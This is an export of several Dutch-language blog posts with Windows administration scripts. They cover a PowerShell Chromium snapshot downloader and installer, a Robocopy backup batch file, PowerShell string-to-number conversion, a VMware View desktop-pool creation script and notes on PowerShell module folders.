Google Chrome is de door Google gepropageerde webbrowser die vooraan loopt in de ondersteuning van moderne webstandaarden. <br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-bF-lr4VauuQ/UaXSjeDd0NI/AAAAAAAAAlU/IO05nMl48Eo/s1600/chromium.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-bF-lr4VauuQ/UaXSjeDd0NI/AAAAAAAAAlU/IO05nMl48Eo/s1600/chromium.png" /></a></div>
<a href="http://www.chromium.org/">Chromium</a> is het open-source equivalent ervan en biedt een aangename browse-ervaring maar zonder de door Google toegevoegde extra's die wel in Chrome aanwezig zijn. De delen van Chrome die open-source zijn , worden door Google gepubliceerd als Chromium. Die resulteert in een webbrowser die je kunt gebruiken op Windows, Mac of Linux. <br />
<br />
<a name='more'></a><br /><br />
Chromium kun je als werkend programma downloaden. Het is niet makkelijk om dit te doen, als je alleen de sourcecode kunt krijgen en je hebt geen toolchain geinstalleerd. Gelukkig is op de website van het Chromium-project altijd een build van de laatste sourcecode-snapshot, met dank aan de Chromium Buildbot.<br />
<br />
Het volgende PowerShell-script downloadt automatisch de Windows-build van de meest actuele snapshot als zip-bestand, pakt dit uit en kopieert het naar een map, klaar om te runnen. Het werkt zeker met PowerShell 2 (Windows 7+), maar misschien lukt v1 ook.<br />
<br />
<br />
<span style="font-family: "Courier New", Courier, monospace; font-size: x-small;"># Get-Chromium.ps1<br /># Poging om de laatste Chromium te downloaden via PowerShell-script<br /># Paul Wiegmans 20110610<br /># Gewijzigd: <br /># 20110904<br /># 20110917 : Chromium Buildbot is verhuisd naar andere URL; bijgewerkt<br /><#<br />belangrijke URLS:</span><a href="http://commondatastorage.googleapis.com/chromium-browser-snapshots/Win/LAST_CHANGE"><span style="font-family: "Courier New", Courier, monospace; font-size: x-small;">http://commondatastorage.googleapis.com/chromium-browser-snapshots/Win/LAST_CHANGE</span></a><br />
<a href="https://chromiumcodereview.appspot.com/"><span style="font-family: "Courier New", Courier, monospace; font-size: x-small;">https://chromiumcodereview.appspot.com/</span></a><br />
<span style="font-family: "Courier New", Courier, monospace; font-size: x-small;">#></span><br />
<span style="font-family: "Courier New", Courier, monospace; font-size: x-small;">Clear-Host<br />$Workdir = "C:\Data\GetChromium"<br />$downloaddir = "A:\GetChromium"</span><br />
<span style="font-family: "Courier New", Courier, monospace; font-size: x-small;">Function Get-Version($Filename) {<br /> <#<br /> .synopsis<br /> Leest het attribuut "versionstring" van het opgegeven bestand in formaat "9.9.9.9" <br /> indien aanwezig, en geeft anders "0.0.0.0" terug.<br /> #><br /> $v = "0.0.0.0"<br /> If (Test-Path $Filename) {$v = $(Get-ChildItem $Filename).VersionInfo.ProductVersion}<br /> # Write-Host "Get-Version: $Filename $v"<br /> return $v<br />}</span><br />
<span style="font-family: "Courier New", Courier, monospace; font-size: x-small;">Function IsNewerVersion ([string]$OldFilename = "", [string]$NewFilename = "") {<br /> Return (Get-Version($OldFilename) -ilt Get-Version($NewFilename))<br />}</span><br />
<span style="font-family: "Courier New", Courier, monospace; font-size: x-small;">Function Wait-And-Remove ([string]$FileName) {<br /> <#<br /> .synopsis<br /> Wacht tot een bestand vrij komt (niet geopend) en verwijdert deze<br /> .parameter FileName<br /> specificeert de bestandsnaam of foldernaam<br /> #><br /> if (!(Test-Path $Filename)) {Return} # File bestaat niet; niets te doen<br /> While ($True) {<br /> Remove-Item $FileName -Recurse -Force -ea:SilentlyContinue # geeft resultaat in $?<br /> if ($?) {Continue} <br /> Write-Host "File $FileName is bezet: wachten..."; <br /> Start-Sleep -Seconds 3<br /> }<br />}</span><br />
<span style="font-family: "Courier New", Courier, monospace; font-size: x-small;">Function DelFile ($Filename) {<br /> Del $Filename -ea:silentlycontinue<br /> If (!$?) { "Dat werkte niet!"; Break }; "Ja dat werkt!" # Break springt prima uit de functie!<br />}<br />Function Get-Build ([string]$Dir) {<br /> <#<br /> .synopsis<br /> Leest de inhoud van het bestand Build-<nummer>.txt in de opgegeven map, <br /> indien aanwezig en geeft deze als string terug. Geeft anders "0" terug.<br /> .parameter Dir<br /> Specificeert de map waarin bestand Build-*.txt wordt gelezen<br /> #><br /> $Build = Get-Content "$dir\Build-*.txt" -ErrorAction SilentlyContinue<br /> if (!$?) {<br /> $Build = "0"<br /> }<br /> return $Build<br />}</span><br />
<span style="font-family: "Courier New", Courier, monospace; font-size: x-small;">$CrLastURL = "</span><a href="http://commondatastorage.googleapis.com/chromium-browser-snapshots/Win/LAST_CHANGE"><span style="font-family: "Courier New", Courier, monospace; font-size: x-small;">http://commondatastorage.googleapis.com/chromium-browser-snapshots/Win/LAST_CHANGE</span></a><span style="font-family: "Courier New", Courier, monospace; font-size: x-small;">"<br />$CrBaseURL = "</span><a href="http://commondatastorage.googleapis.com/chromium-browser-snapshots/Win/"><span style="font-family: "Courier New", Courier, monospace; font-size: x-small;">http://commondatastorage.googleapis.com/chromium-browser-snapshots/Win/</span></a><span style="font-family: "Courier New", Courier, monospace; font-size: x-small;">"<br />if (Test-Path $downloaddir) {$Workdir = $downloaddir}<br />$LatestDir = "$Workdir\Chrome-win32"<br />$DistroDir = "</span><a href="file://bcfs4/Install/Applications/webbrowser/Chromium"><span style="font-family: "Courier New", Courier, monospace; font-size: x-small;">\\BCFS4\Install\Applications\webbrowser\Chromium</span></a><span style="font-family: "Courier New", Courier, monospace; font-size: x-small;">"<br />$Flash = "gcswf32.dll"<br />$wc = New-Object System.Net.WebClient</span><br />
<span style="font-family: "Courier New", Courier, monospace; font-size: x-small;">Write-Host "=== Controleren nieuwste build"<br />New-Item $workdir -type dir -ErrorAction:SilentlyContinue <br /># DEBUG: uitschakelen van downloaden<br />#$Build = "97424"</span><br />
<span style="font-family: "Courier New", Courier, monospace; font-size: x-small;">$Build = $wc.DownloadString($CrLastURL)</span><br />
<span style="font-family: "Courier New", Courier, monospace; font-size: x-small;">Write-Host Laatste build is: $Build<br />$CrBuildURL = $CrBaseURL + $Build + "/"</span><br />
<span style="font-family: "Courier New", Courier, monospace; font-size: x-small;">$Changelog = [xml]$wc.DownloadString($CrBuildURL + "changelog.xml")<br />$entry = $ChangeLog.changelogs.log.logentry<br />if ($entry.count -gt 1) {<br /> $entry = $entry[$entry.Count-1]<br />}</span><br />
<span style="font-family: "Courier New", Courier, monospace; font-size: x-small;">Write-Host "REVISION : " $entry.revision<br />Write-Host "AUTHOR : " $entry.author<br />Write-Host "DATE : " $entry.date<br />Write-Host "MSG : " $entry.msg "`n"</span><br />
<span style="font-family: "Courier New", Courier, monospace; font-size: x-small;">$Chromiumfile = $workdir + "\Chromium-" + $Build + ".zip"</span><br />
<span style="font-family: "Courier New", Courier, monospace; font-size: x-small;">Write-Host "=== Downloaden"<br />if (!(Test-Path $Chromiumfile)) {<br /> Write-Host "Build wordt gedownload ..."<br /> $wc.DownloadFile($CrBuildURL + "chrome-win32.zip", $Chromiumfile)<br />}<br />Write-Host "=== Uitpakken"<br />if ((Test-Path $LatestDir) -and (Test-Path $LatestDir\Build-$Build.txt)) {<br /> Write-Host "Chromium is al uitgepakt in $LatestDir. "<br />} else {<br /> Write-Host "Chromium uitpakken ..."<br /> Remove-Item $Workdir\Chrome-win32 -Recurse -Force -ErrorAction:SilentlyContinue <br /> C:<br /> cd $Workdir<br /> cmd.exe /c 7za.exe x -y $Chromiumfile > $null<br /> Write-Host "Uitpakken klaar..."<br /> #Remove-Item $LatestDir -Recurse -Force -ErrorAction:SilentlyContinue <br /> #Rename-Item $Workdir\Chrome-win32 $LatestDir</span><br />
<span style="font-family: "Courier New", Courier, monospace; font-size: x-small;"> Write-Output $Build | Set-Content -Path $LatestDir\Build-$Build.txt<br /> Write-Output $Build | Set-Content -Path $LatestDir\Build<br /> $ProductVersion = $(Get-ChildItem $LatestDir\chrome.dll).VersionInfo.ProductVersion<br /> Write-Output $ProductVersion | Set-Content -Path $LatestDir\Chromium-$ProductVersion.txt<br /> Copy-Item "$WorkDir\gcswf32.dll" $LatestDir -ErrorAction:SilentlyContinue <br /> Copy-Item "C:\Programs\Chromium\$flash" $LatestDir -ErrorAction:SilentlyContinue <br /> if (!$?) { Write-Host "Geen GCSWF32.DLL gekopieerd!"}<br />}<br />Write-Host "Flashversie: $(Get-Version("$LatestDir\$Flash"))"</span><br />
<span style="font-family: "Courier New", Courier, monospace; font-size: x-small;"># Kopieren naar Distributiemap<br />Write-Host "=== Distribueren"<br />if (test-path $DistroDir) {<br /> Remove-Item $DistroDir\* -Recurse -Force -ErrorAction:SilentlyContinue <br /> Copy-Item $LatestDir\* $DistroDir -Recurse -Force -ErrorAction:SilentlyContinue<br />}</span><br />
<span style="font-family: "Courier New", Courier, monospace; font-size: x-small;">Write-Host "=== Installeren"<br /># overzetten naar uiteindelijke plek. Sluit Chromium.<br />$Progdir = "C:\Programs\Chromium"<br />New-Item $Progdir -ItemType dir -ErrorAction SilentlyContinue </span><br />
<span style="font-family: "Courier New", Courier, monospace; font-size: x-small;"># DEBUG: Forceer altijd installeren<br /># Write-Output ($Build - 1) | Set-Content -Path $ProgDir\Build-*.txt</span><br />
<span style="font-family: "Courier New", Courier, monospace; font-size: x-small;">$ChromeDllOud = "$Progdir\chrome.dll"<br />$VersieOud = Get-Version($ChromeDllOud)<br />$BuildOud = Get-Build($Progdir)<br />Write-Host "Huidige Chromium was:"<br />Write-Host "`tNaam: `t$ChromeDllOud"<br />Write-Host "`tVersie:`t$VersieOud"<br />Write-Host "`tBuild: `t$BuildOud"<br />$ChromeDllNieuw = "$LatestDir\chrome.dll"<br />$VersieNieuw = Get-Version($ChromeDllNieuw)<br />$BuildNieuw = Get-Build($LatestDir)<br />Write-Host "Laatste Chromium:"<br />Write-Host "`tNaam: `t$ChromeDllNieuw"<br />Write-Host "`tVersie:`t$VersieNieuw"<br />Write-Host "`tBuild: `t$BuildNieuw"<br />If (($VersieOud -ilt $VersieNieuw) -or ($BuildOud -ilt $BuildNieuw)) {<br /> Write-Host "Kopieren van $LatestDir naar $Progdir ..."<br /><br /> Get-Process | Where { $_.Name -Eq "chrome" } | Kill<br /> Start-Sleep -Seconds 5<br /><br /> Remove-Item $Progdir -Recurse -ea Stop <br /> New-Item $Progdir -ItemType directory -ea SilentlyContinue | Out-Null<br /> Copy-Item $LatestDir\* $Progdir -Recurse -ea SilentlyContinue<br />} else {<br /> Write-Host "Overzetten naar Programmamap al gebeurd"<br />}</span><br />
<span style="font-family: "Courier New", Courier, monospace; font-size: x-small;">Write-Host "Chromium heeft nu build $Build, versie $(Get-Version("$Progdir\chrome.dll"))"</span><br />
<span style="font-family: "Courier New", Courier, monospace; font-size: x-small;">Write-Host "Klaar!"</span><br />
Code eindigtSikkepitjehttp://www.blogger.com/profile/04936111394688943837noreply@blogger.com0tag:blogger.com,1999:blog-6983252481296197571.post-44872559851161772732013-05-26T13:14:00.002-07:002014-10-21T08:11:23.711-07:00Degelijk een backup scripten met Robocopy<br />
<a href="http://en.wikipedia.org/wiki/Robocopy">Robocopy</a> is een handig Windows-tooltje dat ideaal is om een backup te maken van een of meer mappen naar een andere locatie. Je kunt een kopie maken in "mirror"-mode, dat wil zeggen dat de doelmap precies de bronmap weerspiegelt. Hierbij kunnen ook bestanden en mappen verwijderd worden op de doellokatie wanneer deze niet (meer) in de bron voorkomen. Robocopy vergelijkt de bronlokatie en de doellokatie met elkaar en is slim genoeg om uitsluitend gewijzigde bestanden te kopieren. Je kunt ook bestanden of mappen uitsluiten voor kopieren als je wilt. Dit alles laat zich goed scripten en is dus geschikt om te worden uitgevoerd op gezette tijden vanuit Geplande taken (scheduled jobs).<br />
<br />
<a name='more'></a><br /><br />
Robocopy zat oorspronkelijk in de Windows 2003 Resource kit. Sinds Windows Vista en Windows Server 2008 is bij het besturingssysteem geleverd<br />
<br />
Het volgende script geeft een voorbeeld van een gescripte opdracht om de user profile directory te backuppen naar een andere locatie.<br />
<br />
<span class="sy0" style="background-color: #f1f0ed; border: 0px; color: #66cc66; font-family: monospace; line-height: 12px; margin: 0px; padding: 0px; vertical-align: baseline;">@</span><span style="background-color: #f1f0ed; font-family: monospace; line-height: 12px;">echo </span><span class="kw2" style="background-color: #f1f0ed; border: 0px; color: #0080ff; font-family: monospace; font-weight: bold; line-height: 12px; margin: 0px; padding: 0px; vertical-align: baseline;">off</span><br />
<span class="co2" style="background-color: #f1f0ed; border: 0px; color: #ff1010; font-family: monospace; font-weight: bold; line-height: 12px; margin: 0px; padding: 0px; vertical-align: baseline;">:: Backup1.cmd</span><br />
<span class="co2" style="background-color: #f1f0ed; border: 0px; color: #ff1010; font-family: monospace; font-weight: bold; line-height: 12px; margin: 0px; padding: 0px; vertical-align: baseline;">:: Dit script maakt backup van userprofile naar USB-disk</span><br />
<span class="co2" style="background-color: #f1f0ed; border: 0px; color: #ff1010; font-family: monospace; font-weight: bold; line-height: 12px; margin: 0px; padding: 0px; vertical-align: baseline;">:: 20130526 Paul Wiegmans</span><br />
<span style="background-color: #f1f0ed; font-family: monospace; line-height: 12px;">set BRON=C</span><span class="co2" style="background-color: #f1f0ed; border: 0px; color: #ff1010; font-family: monospace; font-weight: bold; line-height: 12px; margin: 0px; padding: 0px; vertical-align: baseline;">:\Users\paul</span><br />
<span style="background-color: #f1f0ed; font-family: monospace; line-height: 12px;">set DOEL=</span><span class="sy0" style="background-color: #f1f0ed; border: 0px; color: #66cc66; font-family: monospace; line-height: 12px; margin: 0px; padding: 0px; vertical-align: baseline;">%~</span><span style="background-color: #f1f0ed; font-family: monospace; line-height: 12px;">d0</span><span class="sy0" style="background-color: #f1f0ed; border: 0px; color: #66cc66; font-family: monospace; line-height: 12px; margin: 0px; padding: 0px; vertical-align: baseline;">/%</span><span style="background-color: #f1f0ed; font-family: monospace; line-height: 12px;">COMPUTERNAME</span><span class="sy0" style="background-color: #f1f0ed; border: 0px; color: #66cc66; font-family: monospace; line-height: 12px; margin: 0px; padding: 0px; vertical-align: baseline;">%-</span><span style="background-color: #f1f0ed; font-family: monospace; line-height: 12px;">Paul</span><br />
<span style="background-color: #f1f0ed; font-family: monospace; line-height: 12px;">SET OPTS=</span><span class="sy0" style="background-color: #f1f0ed; border: 0px; color: #66cc66; font-family: monospace; line-height: 12px; margin: 0px; padding: 0px; vertical-align: baseline;">/</span><span style="background-color: #f1f0ed; font-family: monospace; line-height: 12px;">MIR </span><span class="sy0" style="background-color: #f1f0ed; border: 0px; color: #66cc66; font-family: monospace; line-height: 12px; margin: 0px; padding: 0px; vertical-align: baseline;">/</span><span style="background-color: #f1f0ed; font-family: monospace; line-height: 12px;">FFT </span><span class="sy0" style="background-color: #f1f0ed; border: 0px; color: #66cc66; font-family: monospace; line-height: 12px; margin: 0px; padding: 0px; vertical-align: baseline;">/</span><span style="background-color: #f1f0ed; font-family: monospace; line-height: 12px;">COPY</span><span class="co2" style="background-color: #f1f0ed; border: 0px; color: #ff1010; font-family: monospace; font-weight: bold; line-height: 12px; margin: 0px; padding: 0px; vertical-align: baseline;">:DAT /DCOPY:DAT /R:3 /W:1 /NP /NDL /XD "%BRON%\appdata\local" "%BRON%\appdata\locallow" "temp" "cache" /XF *.tmp *.dmp *.hdmp /XJ</span><br />
<span style="background-color: #f1f0ed; font-family: monospace; line-height: 12px;">Title Backup </span><span class="sy0" style="background-color: #f1f0ed; border: 0px; color: #66cc66; font-family: monospace; line-height: 12px; margin: 0px; padding: 0px; vertical-align: baseline;">%</span><span style="background-color: #f1f0ed; font-family: monospace; line-height: 12px;">BRON</span><span class="sy0" style="background-color: #f1f0ed; border: 0px; color: #66cc66; font-family: monospace; line-height: 12px; margin: 0px; padding: 0px; vertical-align: baseline;">%</span><span style="background-color: #f1f0ed; font-family: monospace; line-height: 12px;"> naar </span><span class="sy0" style="background-color: #f1f0ed; border: 0px; color: #66cc66; font-family: monospace; line-height: 12px; margin: 0px; padding: 0px; vertical-align: baseline;">%</span><span style="background-color: #f1f0ed; font-family: monospace; line-height: 12px;">DOEL</span><span class="sy0" style="background-color: #f1f0ed; border: 0px; color: #66cc66; font-family: monospace; line-height: 12px; margin: 0px; padding: 0px; vertical-align: baseline;">%</span><br />
<span style="background-color: #f1f0ed; font-family: monospace; line-height: 12px;">Robocopy </span><span class="sy0" style="background-color: #f1f0ed; border: 0px; color: #66cc66; font-family: monospace; line-height: 12px; margin: 0px; padding: 0px; vertical-align: baseline;">%</span><span style="background-color: #f1f0ed; font-family: monospace; line-height: 12px;">BRON</span><span class="sy0" style="background-color: #f1f0ed; border: 0px; color: #66cc66; font-family: monospace; line-height: 12px; margin: 0px; padding: 0px; vertical-align: baseline;">%</span><span style="background-color: #f1f0ed; font-family: monospace; line-height: 12px;"> </span><span class="sy0" style="background-color: #f1f0ed; border: 0px; color: #66cc66; font-family: monospace; line-height: 12px; margin: 0px; padding: 0px; vertical-align: baseline;">%</span><span style="background-color: #f1f0ed; font-family: monospace; line-height: 12px;">DOEL</span><span class="sy0" style="background-color: #f1f0ed; border: 0px; color: #66cc66; font-family: monospace; line-height: 12px; margin: 0px; padding: 0px; vertical-align: baseline;">%</span><span style="background-color: #f1f0ed; font-family: monospace; line-height: 12px;"> </span><span class="sy0" style="background-color: #f1f0ed; border: 0px; color: #66cc66; font-family: monospace; line-height: 12px; margin: 0px; padding: 0px; vertical-align: baseline;">*</span><span style="background-color: #f1f0ed; font-family: monospace; line-height: 12px;">.</span><span class="sy0" style="background-color: #f1f0ed; border: 0px; color: #66cc66; font-family: monospace; line-height: 12px; margin: 0px; padding: 0px; vertical-align: baseline;">*</span><span style="background-color: #f1f0ed; font-family: monospace; line-height: 12px;"> </span><span class="sy0" style="background-color: #f1f0ed; border: 0px; color: #66cc66; font-family: monospace; line-height: 12px; margin: 0px; padding: 0px; vertical-align: baseline;">%</span><span style="background-color: #f1f0ed; font-family: monospace; line-height: 12px;">OPTS</span><span class="sy0" style="background-color: #f1f0ed; border: 0px; color: #66cc66; font-family: monospace; line-height: 12px; margin: 0px; padding: 0px; vertical-align: baseline;">%</span><br />
<br />
Speciale aandacht verdient het gebruik van de /XD parameter die je gebruikt bij het uitsluiten van mappen. Dit gaat vaak verkeerd. Op <a href="http://social.technet.microsoft.com/Forums/en-US/winserverfiles/thread/1094222a-ddfa-4357-9472-218816a2307c/">Technet: Excluding Multiple Directories using /XD</a> is al het een en ander geschreven.<br />
<br />
Mijn conclusie is dat je enkele zaken in acht moet nemen, wanneer je succesvol enkele folders wilt uitsluiten:<br />
<br />
<ul>
<li>Geef de brondirectory zonder afsluitende backslash.</li>
<li>Je kunt bij de /XD parameter verscheidene folders opgeven, gescheiden door een spatie.</li>
<li>Padnamen met spaties worden omgeven door aanhalingstekens.</li>
<li>Geef uit te sluiten mappen bij voorkeur op als enkelvoudig pad, dus als naam zonder backslashes.</li>
<li>Mappen die bestaan uit meer dan één deel (bijv Appdata\LocalLow) geef je op als absoluut pad. </li>
</ul>
<div>
Tenslotte nog een tip: gebruik /L om te testen. Zelfs als Robocopy in de header aangeeft deze directories uit te sluiten, dan nog kunnen de ongewenste mappen toch worden gekopieerd. Uitsluitend in de uitvoer zie je welke mappen werkelijk worden gekopieerd.</div>
<div>
<br /></div>
Sikkepitjehttp://www.blogger.com/profile/04936111394688943837noreply@blogger.com0tag:blogger.com,1999:blog-6983252481296197571.post-47881759027181620512013-04-16T14:19:00.004-07:002014-10-21T08:12:09.482-07:00Veilig strings converteren naar getal<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-t9Qm2IvGyuQ/UW3CAZYvwFI/AAAAAAAAAhA/KkChQBJ9qkU/s1600/320px-Piano_strings_3.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" src="http://4.bp.blogspot.com/-t9Qm2IvGyuQ/UW3CAZYvwFI/AAAAAAAAAhA/KkChQBJ9qkU/s1600/320px-Piano_strings_3.jpg" /></a></div>
Om een string veilig te converteren naar een getal zijn er een aantal mogelijkheden. Dit geldt met name voor waarde zoals bewaard in het veld 'EmployeeID' of 'Description' in een Active Directory user object, die tekst of getallen kunnen bevatten.<br />
<br />
Plat converteren naar getal:<br />
<pre><code>
$waarde = [int]$user.description
</code></pre>
<br />
<a name='more'></a>Dit gaat fout zodra de variabele een waarde bevat die niet om te zetten is naar een getal. Dit gooit een RuntimeException . Het is veiliger om dit in een try..catch block te zetten.<br />
<pre><code>
try {
$idval = [int]$user.description
}
catch {
$idval = -1
}
</code></pre>
Een niet-numerieke waarde geeft een negatief getal in $idval of iets anders, wat je maar wilt.<br />
<br />
Analoog hieraan is de [System.Convert] class. Deze class bevat diverse conversiefuncties voor [int] en [double] en alle ander .NET-types.<br />
<pre><code>
$idval = [System.Convert]::ToInt32($user.description)
</code></pre>
Dit geeft een nette DotNetMethodException wanneer de tekst geen numerieke waarde oplevert.<br />
<br />
Een heel nette oplossing is de volgende.<br />
<pre><code>
$idval = $user.description -as [int]
</code></pre>
Bij niet-nummers geeft dit waarde $null.<br />
<br />
Om even snel te testen of de cast naar int slaagt, gebruik:<br />
<pre><code>
[bool]($var -as [int] -is [int])
</code></pre>
Maar let op! Zelfs wanneer $var $null bevat, levert dit True!<br />
<br />Sikkepitjehttp://www.blogger.com/profile/04936111394688943837noreply@blogger.com0tag:blogger.com,1999:blog-6983252481296197571.post-73084683026588134872013-01-06T12:47:00.000-08:002014-10-21T08:11:47.201-07:00Een virtuele desktop pool aanmaken met een script (PowerShell natuurlijk)<br />
<div>
Voor mijn werk gebruik ik VMware View 5.1 en onderhoud ik 4 desktoppools met in totaal zo'n 500 virtuele desktops met Windows 7. Regelmatig moet ik deze desktoppools opnieuw aanmaken op basis van een bijgewerkt Windows image waarop ik Windows Updates installeer en software bijwerk zoals Silverlight, Flashplayer, Office . Deze nieuwe desktoppools hebben verder precies dezelfde parameters. Ik zocht een makkelijkere manier om makkelijk een nieuwe desktoppool aan te maken, anders dan me helemaal gek te klikken in de View Administrator webinterface en ik vond de oplossing in PowerShell.<br />
<a name='more'></a></div>
<div>
Na wat proberen op de command line interface van mijn View connection server, welke voorzien is van <a href="http://communities.vmware.com/community/vmtn/server/vsphere/automationtools/powercli">VMware vSphere PowerCLI</a> , ontdekte ik hoe ik de diverse parameters van de bestaande desktoppools in een script kon vangen. Het commando dat ik gebruik om een nieuwe desktoppool aanmaak is Add-AutomaticLinkedClonePool. De nieuwe desktoppools die ik regelmatig bijwerk hebben verder dezelfde parameters, dus deze klus leent zich uitstekend voor een script. De eerste stap was om met behulp van Get-Pool te achterhalen welke attributen de bestaande desktop pool objects hebben. Dat bleken er een hele rits te zijn. Een hele rij daarvan is vereist om succesvol een desktoppool aan te maken. Dat scheelt wel ongeveer 120 muisklikken!</div>
<div>
<br /></div>
<div>
Om mijn excellente werk met de rest van de wereld te delen en kennis te doen maken met mijn geweldige scripttalent, plaats ik hier mijn script.</div>
<div>
<br /></div>
<div>
<br /></div>
<pre><code># Maak-NieuweMedewerkersPool.ps1
# Maak een nieuwe desktoppool van automatic linked clones
# 20130105 Paul Wiegmans
# aan te passen variabelen
$gebruikertype = "Medewerkers" # Studenten, Medewerkers, Plus of Test
$gebruikergroep = "Medewerkers"
$gebruikertag = "MW"
$nieuwepoolversie = "309"
$snapshot = "/BW7BASISv3/BW7-v3.01/W7 Basis 3.02/v3.05/v3.07/v3.08/v3.09"
$oudepool = "W7Medewerker308"
$nieuwepool = "W7{0}{1}" -f ($gebruikertype, $nieuwepoolversie)
$poolparm = @{
pool_id = $nieuwepool
displayName = "W7 {0} Desktop v3.09" -f $gebruikertype
namePrefix = "VD$gebruikertag$nieuwepoolversie{n:fixed = 3}"
folderId = $gebruikertype
organizationalUnit = "OU={0},OU=Windows 7,OU=Virtual Desktops,OU=MyBusiness" -f $gebruikertype
resourcePoolPath = "/Bonhoeffer/host/Desktops/Resources/{0}" -f $gebruikertype
headroomCount = "3" # number of spare (powered on) desktop
maximumCount = "3" # max number of desktops
minimumCount = "3"
Disabled = $true
parentVMPath = "/Bonhoeffer/vm/Windows 7 Basis v3"
parentSnapshotPath = $snapshot
vmFolderPath = "/Bonhoeffer/vm/View W7 Desktops"
datastoreSpecs = "[Aggressive,OS,data]/Bonhoeffer/host/Desktops/LOCAL-ESX9-SSD;[Aggressive,OS,data]/Bonhoeffer/host/Desktops/LOCAL-ESX8-SSD;[Aggressive,OS,data]/Bonhoeffer/host/Desktops/LOCAL-ESX7-SSD;[Aggressive,OS,data]/Bonhoeffer/host/Desktops/LOCAL-ESX6-SSD;[Aggressive,OS,data]/Bonhoeffer/host/Desktops/LOCAL-ESX5-SSD;[Aggressive,OS,data]/Bonhoeffer/host/Desktops/LOCAL-ESX4-SSD"
### onveranderde parameters
allowProtocolOverride = $true
autoLogoffTime = 30
customizationSpec = "BW7-Capture-customization-specs"
deletePolicy = "Default"
flashQuality = "NO_CONTROL"
flashThrottling = "DISABLED"
isUserResetAllowed = $true
persistence = "NonPersistent"
powerPolicy = "AlwaysOn"
DefaultProtocol = "PCOIP"
isProvisioningEnabled = $true
SuspendProvisioningOnError = $true
refreshPolicyType = "Never"
}
Write-Host
Write-host "Pool_id: $nieuwepool"
Write-host "displayName: $($poolparm.displayName)"
Write-host "namePrefix: $($poolparm.namePrefix)"
Write-host "folderId: $($poolparm.folderId)"
Write-host "organizationalUnit: $($poolparm.organizationalUnit)"
Write-host "resourcePoolPath: $($poolparm.resourcePoolPath)"
Write-host "Pool_id: $($poolparm.pool_id)"
Write-Host "Pool aanmaken..."
Get-ComposerDomain | Add-AutomaticLinkedClonePool @poolparm
Write-Host "Gebruikers rechten geven"
Add-PoolEntitlement -pool_id $poolparm.pool_id -sid (get-user -name "DL View Limited Test users").sid
Add-PoolEntitlement -pool_id $poolparm.pool_id -sid (get-user -name $gebruikergroep).sid
Write-Host "Pool vergroten"
Update-AutomaticLinkedClonePool -pool_id $poolparm.pool_id -minimumCount 30 -maximumCount 30 -headroomCount 30
Write-Host "Pool inschakelen"
Update-AutomaticLinkedClonePool -pool_id $poolparm.pool_id -Disabled:$false
Write-Host "Verwijder oude pool"
Remove-Pool -pool_id $oudepool -TerminateSession:$true -DeleteFromDisk:$true
# in geval van fouten opnieuw provisioning inschakelen
# Update-AutomaticLinkedClonePool -pool_id $poolparms.pool_id `
# -IsProvisioningEnabled:$true -SuspendProvisioningOnError:$false
</code></pre>
Hee, het werkt!<br />
Oh ja, om dit script succesvol uit te voeren op een server met VMware View, heb ik in mijn profilescript <code>C:\windows\system23\WindowsPowerShell\profile.ps1</code> de volgende regel opgenomen:<br />
<code></code><br />
<pre><code>. "C:\Program Files\VMware\VMware View\Server\extras\PowerShell\add-snapin.ps1"</code></pre>
zodat het script in staat is om de VMware View snapin te laden.Sikkepitjehttp://www.blogger.com/profile/04936111394688943837noreply@blogger.com0tag:blogger.com,1999:blog-6983252481296197571.post-16857099468397867522012-05-31T00:00:00.001-07:002014-10-21T08:12:34.322-07:00Modules vinden in PowershellEen kleine herinnering voor mijzelf is hoe PowerShell modules gevonden en geladen kunnen worden.<br />
<br />
E.e.a. vrij naar <a href="http://blogs.technet.com/b/heyscriptingguy/archive/2010/01/19/hey-scripting-guy-january-19-2010.aspx">Hey Scripting Guy</a> .<br />
<br />
Als je je PowerShell modules of losse scriptjes gevonden wil laten worden , dan zijn dit de stappen om te nemen.<br />
<a name='more'></a><br />
<ol>
<li>Om te beginnen heb je in je homedirectory de map <span style="background-color: #fff2cc; font-family: "Courier New",Courier,monospace;">WindowsPowerShell</span> . Als die niet bestaat, dan kun je hem maken. Dit is een persoonlijke profielmap. Dit is het makkelijk om te gebruiken , omdat je geen speciale rechten nodig heb om hierin zaken aan te passen. Je kunt ook de systeemprofielmap gebruiken om modules systembreed beschikbaar te maken. <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/bb613488%28v=vs.85%29.aspx">Je hebt in totaal 4 mogelijk profielmappen</a>.</li>
<li>Hierin staat <span style="background-color: #fff2cc; font-family: "Courier New",Courier,monospace;">profile.ps1</span> . Dit is het profielscript dat geladen wordt in PowerShell. Als deze niet bestaat, dan maak je hem.</li>
<li>Ook staat in deze map de map <span style="background-color: #fff2cc; font-family: "Courier New",Courier,monospace;">Modules</span> . Als deze niet bestaat, dan maak je hem. Hierin worden modules opgeslagen. </li>
<li>Voor elke module komt in <span style="background-color: #fff2cc; font-family: "Courier New",Courier,monospace;">Modules</span> een map genaamd zoals de module die het bevat. Als voorbeeld: het pakket <a href="http://showui.codeplex.com/">ShowUI</a> bevat de module <span style="background-color: #fff2cc; font-family: "Courier New",Courier,monospace;">ShowUI.psm1</span> en dat wordt neergezet in de map <span style="background-color: #fff2cc; font-family: "Courier New",Courier,monospace;">ShowUI</span> in de map <span style="font-family: "Courier New",Courier,monospace;">Modules</span> .</li>
<li>Je kunt elke willekeurig <span style="background-color: #fff2cc; font-family: "Courier New",Courier,monospace;">mijnscript.ps1</span> ook beschikbaar maken als module. Hernoem het tot <span style="background-color: #fff2cc; font-family: "Courier New",Courier,monospace;">mijnscript.psm1</span> en zet het in een map <span style="background-color: #fff2cc; font-family: "Courier New",Courier,monospace;">mijnscript</span> in <span style="background-color: #fff2cc; font-family: "Courier New",Courier,monospace;">Modules</span> . </li>
</ol>
<div class="separator" style="clear: both; text-align: center;">
